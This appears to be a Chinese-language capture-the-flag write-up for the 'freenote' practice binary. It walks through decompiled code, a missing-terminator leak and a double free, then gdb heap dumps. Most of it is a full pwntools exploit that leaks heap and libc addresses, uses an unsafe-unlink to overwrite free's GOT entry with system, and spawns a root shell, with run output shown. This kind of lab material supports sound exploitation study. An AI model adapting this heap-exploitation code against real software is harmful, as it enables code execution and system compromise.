file
file freenote
freenote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=dd259bb085b3a4aeb393ec5ef4f09e312555a64d, stripped
checksec
>>> from pwn import *
>>> print ELF('./freenote').checksec()
[*] '/root/sploitfun/freenote/freenote'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
这个binary中有五个功能:查看笔记,新增笔记,修改笔记,删除笔记和退出,ida查看代码
int new_note()
{
__int64 v0; // rax@2
unsigned int v1; // eax@9
void *v2; // ST18_8@9
int i; // [sp+Ch] [bp-14h]@3
int v5; // [sp+10h] [bp-10h]@5
if ( *(_QWORD *)(qword_6020A8 + 8) < *(_QWORD *)qword_6020A8 ) //这个地址的值貌似保存着list的数量
{
for ( i = 0; ; ++i )
{
v0 = *(_QWORD *)qword_6020A8;
if ( (signed __int64)i >= *(_QWORD *)qword_6020A8 ) //当i大于list数量,就停
break;
if ( !*(_QWORD *)(qword_6020A8 + 24LL * i + 16) ) //这个代表结构体是否被使用
{
printf("Length of new note: ");
v5 = get_num_maybe(); //输入一个长度
if ( v5 > 0 )
{
if ( v5 > 4096 ) // 对输入的长度进行检查
v5 = 4096;
v1 = (unsigned int)((signed int)(128
- (((((unsigned int)((unsigned __int64)v5 >> 32) >> 25) + (_BYTE)v5) & 0x7F)
- ((unsigned int)((unsigned __int64)v5 >> 32) >> 25))) >> 31) >> 25;
v2 = malloc((signed int)((((_BYTE)v1 + -128 - (char)v5 % -128) & 0x7F) - v1 + v5));
printf("Enter your note: ");
input_morty((__int64)v2, v5); // (指针,长度)
*(_QWORD *)(qword_6020A8 + 24LL * i + 16) = 1LL; // 表示这个结构体已经被占用
*(_QWORD *)(qword_6020A8 + 24LL * i + 24) = v5; //这里保存长度
*(_QWORD *)(qword_6020A8 + 24LL * i + 32) = v2; //这里保存记录的内容
++*(_QWORD *)(qword_6020A8 + 8); //这个地址的值自加1
LODWORD(v0) = puts("Done.");
}
else
{
LODWORD(v0) = puts("Invalid length!");
}
return v0;
}
}
}
else
{
LODWORD(v0) = puts("Unable to create new note.");
}
return v0;
}
int list_note()
{
__int64 v0; // rax@6
unsigned int i; // [sp+Ch] [bp-4h]@2
if ( *(_QWORD *)(qword_6020A8 + 8) <= 0LL )
{
LODWORD(v0) = puts("You need to create some new notes first.");
}
else
{
for ( i = 0; ; ++i )
{
v0 = *(_QWORD *)qword_6020A8;
if ( (signed __int64)(signed int)i >= *(_QWORD *)qword_6020A8 ) //这个位置表示list的数量
break;
if ( *(_QWORD *)(qword_6020A8 + 24LL * (signed int)i + 16) == 1LL ) //这个位置为1表示占用
printf("%d. %s\n", i, *(_QWORD *)(qword_6020A8 + 24LL * (signed int)i + 32));//例如 0. aaa ,32这个位置保存记录的内容
}
}
return v0;
}
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
sub_4009FD(); // 设置setvbuf
sub_400A49(); // 设置setvbuf
while ( 1 )
{
switch ( input_choice() )
{
case 1:
list_note();
break;
case 2:
new_note();
break;
case 3:
edit_note();
break;
case 4:
del_note();
break;
case 5:
puts("Bye");
return 0LL;
default:
puts("Invalid!");
break;
}
}
}
第一处漏洞如下
__int64 __fastcall input_morty(__int64 a1, unsigned int a2)
{
__int64 result; // rax@2
signed int i; // [sp+18h] [bp-8h]@3
int v4; // [sp+1Ch] [bp-4h]@4
if ( (signed int)a2 > 0 )
{
for ( i = 0; i < (signed int)a2; i += v4 ) //这里没有将\x00添加进去
{
v4 = read(0, (void *)(a1 + i), (signed int)(a2 - i));
if ( v4 <= 0 )
break;
}
result = (unsigned int)i;
}
else
{
result = 0LL;
}
return result;
}
第二处漏洞如下(double free)
int del_note()
{
int result; // eax@4
int v1; // [sp+Ch] [bp-4h]@2
if ( *(_QWORD *)(qword_6020A8 + 8) <= 0LL )
{
result = puts("No notes yet.");
}
else
{
printf("Note number: ");
v1 = get_num_maybe();
if ( v1 >= 0 && (signed __int64)v1 < *(_QWORD *)qword_6020A8 ) //输入的值小于list的数量
{
--*(_QWORD *)(qword_6020A8 + 8); //这个指针的值子减
*(_QWORD *)(qword_6020A8 + 24LL * v1 + 16) = 0LL; //占用置零
*(_QWORD *)(qword_6020A8 + 24LL * v1 + 24) = 0LL; //长度置零
free(*(void **)(qword_6020A8 + 24LL * v1 + 32)); //将这个malloc值free掉,free掉之后没有置零,存在漏洞
result = puts("Done.");
}
else
{
result = puts("Invalid number!");
}
}
return result;
}
编写各个功能exp如下
from pwn import *
def list():
p.recvuntil('Your choice: ')
p.sendline('1')
def new(len,data):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Length of new note: ')
p.sendline(str(len))
p.recvuntil('Enter your note: ')
p.sendline(data)
def edit(index,len,data):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Note number: ')
p.sendline(str(index))
p.recvuntil('Length of new note: ')
p.sendline(str(len))
p.recvuntil('Enter your note: ')
p.sendline(data)
def delte(index):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Note number: ')
p.sendline(str(index))
def exit():
p.recvuntil('Your choice: ')
p.sendline('5')
p = process('./freenote')
new(4,'aaaa')
new(4,'bbbb')
list()
p.interactive()
我们可以先new4个chunk,然后再free两个,并使其不合并
new(1, 'a')
new(1, 'a')
new(1, 'a')
new(1, 'a') #malloc 4个chunk
delte(0)
delte(2) #free两个间隔的,使之不合并
此时四个chunk的情况如下
gdb-peda$ x/4gx 0x604820
0x604820: 0x0000000000000000 0x0000000000000091 <-- chunk 0 [be freed]
0x604830: 0x6262626261616161 0x0000000000604940 <-- fd->main_arena+88 <-- bk->chunk 2
gdb-peda$ x/4gx 0x604820+0x90
0x6048b0: 0x0000000000000090 0x0000000000000091 <-- chunk 1
0x6048c0: 0x0000000000000061 0x0000000000000000
gdb-peda$ x/4gx 0x604820+0x90+0x90
0x604940: 0x0000000000000000 0x0000000000000091 <-- chunk 2 [be freed]
0x604950: 0x6464646463636363 0x00007ffff7dd7678 <-- fd->chunk 0 <-- bk->main_arena+88
gdb-peda$ x/4gx 0x604820+0x90+0x90+0x90
0x6049d0: 0x0000000000000090 0x0000000000000091 <-- chunk 3
0x6049e0: 0x0000000000000061 0x0000000000000000
gdb-peda$ x/4gx 0x604820+0x90+0x90+0x90+0x90
0x604a60: 0x0000000000000000 0x00000000000205a1 <-- top chunk
0x604a70: 0x0000000000000000 0x0000000000000000
发送第一个payload之后
gdb-peda$ x/6gx 0x604820
0x604820: 0x0000000000000000 0x0000000000000091
0x604830: 0x0000000000000000 0x0000000000000021
0x604840: 0x0000000000603018 0x0000000000603020
gdb-peda$ x/6gx 0x604820 + 0x90
0x6048b0: 0x0000000000000090 0x0000000000020751
0x6048c0: 0x0000000000000061 0x0000000000000000
0x6048d0: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/6gx 0x604820 + 0x90 + 0x90
0x604940: 0x0000000000000000 0x00000000000206c1
0x604950: 0x6464646463636363 0x00007ffff7dd7678
0x604960: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/6gx 0x604820 + 0x90 + 0x90 + 0x90
0x6049d0: 0x0000000000000090 0x0000000000020631
0x6049e0: 0x0000000000000061 0x0000000000000000
0x6049f0: 0x0000000000000000 0x0000000000000000
发送第二个payload之后
gdb-peda$ x/6gx 0x604820
0x604820: 0x0000000000000000 0x0000000000000091
0x604830: 0x0000000000000000 0x0000000000000021//第三个chunk指向了这里
0x604840: 0x0000000000603018 0x0000000000603020
gdb-peda$ x/6gx 0x604820 + 0x90
0x6048b0: 0x0000000000000090 0x0000000000000211
0x6048c0: 0x0068732f6e69622f 0x4141414141414141 //第一个是"/bin/sh\x00"
0x6048d0: 0x4141414141414141 0x4141414141414141
gdb-peda$ x/6gx 0x604820 + 0x90 + 0x90
0x604940: 0x0000000000000110 0x0000000000000090//表示前一个是freed
0x604950: 0x4141414141414141 0x4141414141414141
0x604960: 0x4141414141414141 0x4141414141414141
gdb-peda$ x/6gx 0x604820 + 0x90 + 0x90 + 0x90
0x6049d0: 0x0000000000000000 0x0000000000000091
0x6049e0: 0x4141414141414141 0x4141414141414141
0x6049f0: 0x4141414141414141 0x4141414141414141
payload3之后
gdb-peda$ x/6gx 0x0000000000603008
0x603008: 0x0000000000001821 0x0000000000000100
0x603018: 0x0000000000000008 0x0000000000000001
0x603028: 0x0000000000000008 0x0000000000602018
我们看到,note 0 的 content 指针被修改为free_got
根据偏移找到main_arena地址
gdb-peda$ x/gx 0x00007ffff7dd7678
0x7ffff7dd7678 <main_arena+88>: 0x0000000000604a60
gdb-peda$ x/gx 0x00007ffff7dd7678-88
0x7ffff7dd7620 <main_arena>: 0x0000000100000000
再根据偏移计算出malloc_hook地址
gdb-peda$ x/4gx 0x7ffff7dd7620-1*16
0x7ffff7dd7610 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd7620 <main_arena>: 0x0000000100000000 0x0000000000000000
首先查看__malloc_hook的偏移
readelf -s libc-2.19.so | grep __malloc_hook
1077: 000000000039b610 8 OBJECT WEAK DEFAULT 31 __malloc_hook@@GLIBC_2.2.5
7272: 000000000039b610 8 OBJECT WEAK DEFAULT 31 __malloc_hook
通过leak出的值,可以计算出初始chunk的地址和libc的地址
gdb-peda$ x/gx 0x7ffff7dd7678-88-16-0x39b610
0x7ffff7a3c000: 0x03010102464c457f
验证
more /proc/31078/maps
00400000-00402000 r-xp 00000000 fd:00 42359250 /root/sploitfun/freenote/freenote
00601000-00602000 r--p 00001000 fd:00 42359250 /root/sploitfun/freenote/freenote
00602000-00603000 rw-p 00002000 fd:00 42359250 /root/sploitfun/freenote/freenote
00603000-00625000 rw-p 00000000 00:00 0 [heap]
7ffff7a3c000-7ffff7bd4000 r-xp 00000000 fd:00 110553221 /root/sploitfun/gccwget/glibc-2.19/64/lib/libc-2.19.so
根据libc base,计算出system地址
readelf -s libc-2.19.so | grep system@@
576: 000000000003d3d5 41 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE
1335: 000000000003d3d5 41 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
最终的exp
#coding=utf-8
from pwn import *
def list():
p.recvuntil('Your choice: ')
p.sendline('1')
def new(len,data):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Length of new note: ')
p.sendline(str(len))
p.recvuntil('Enter your note: ')
p.sendline(data)
def edit(index,len,data):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Note number: ')
p.sendline(str(index))
p.recvuntil('Length of note: ')
p.sendline(str(len))
p.recvuntil('Enter your note: ')
p.sendline(data)
def delte(index):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Note number: ')
p.sendline(str(index))
def exit():
p.recvuntil('Your choice: ')
p.sendline('5')
p = process('./freenote')
new(1, 'a')
new(1, 'a')
new(1, 'a')
new(1, 'a') #malloc 4个chunk
delte(0)
delte(2) #free两个间隔的,使之不合并
new(8, 'aaaabbbb') #new一个长度为8的chunk,这样根据leak漏洞leak出bk的值
new(8, 'ccccdddd')
list()
p.recvuntil("aaaabbbb")
heap_addr = u64(p.recvline().strip("\x0a").ljust(8, "\x00"))
heap_base = heap_addr - 0x1940 # 0x1940 = 0x1820 + 0x90*2
print hex(heap_base)
p.recvuntil("ccccdddd")
leak_addr = u64(p.recvline().strip("\x0a").ljust(8, "\x00"))
libc_base = leak_addr -88-16-0x39b610 #leak_addr - main_arena_off - main_arena_malloc_hook - malloc_hook_off
print hex(libc_base)
system_addr = libc_base + 0x3d3d5 #0x3d3d5 = system_off
print hex(system_addr)
delte(3) #将四个chunk全部free,消除掉
delte(2)
delte(1)
delte(0)
#double link
payload01 = p64(0) + p64(0x21) + p64(heap_base + 0x30 - 0x18) + p64(heap_base + 0x30 - 0x10)
new(len(payload01), payload01)
payload02 = "/bin/sh\x00".ljust(0x80,'A') #第二个chunk的内容
payload02 += p64(0x110) + p64(0x90) + "A"*0x80 #覆盖到之前的第三个chunk
payload02 += p64(0) + p64(0x91) + "A"*0x80 #覆盖到之前的第四个chunk
new(len(payload02), payload02)
delte(2) #free第三个,造成第二个chunk unlink,将note 0 的 content 指针指向其地址-0x18处
payload03 = p64(8) + p64(0x1) + p64(0x8) + p64(0x602018) # 0x602018 = free_got
edit(0, 0x20, payload03) # note 0 的 content 指针被修改为free_got
edit(0, 0x8, p64(system_addr)) # note 0 的 content 指针已经改为free_got,这时修改note 0 就是修改free_got,我们将free_got改为system的地址
delte(1) #1指向了"/bin/sh\x00",所以 delte(1) = system("/bin/sh")
p.interactive()
运行的结果
python morty.py
[+] Starting local process './freenote': pid 1598
0x603000
0x7ffff7a3c000
0x7ffff7a793d5
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)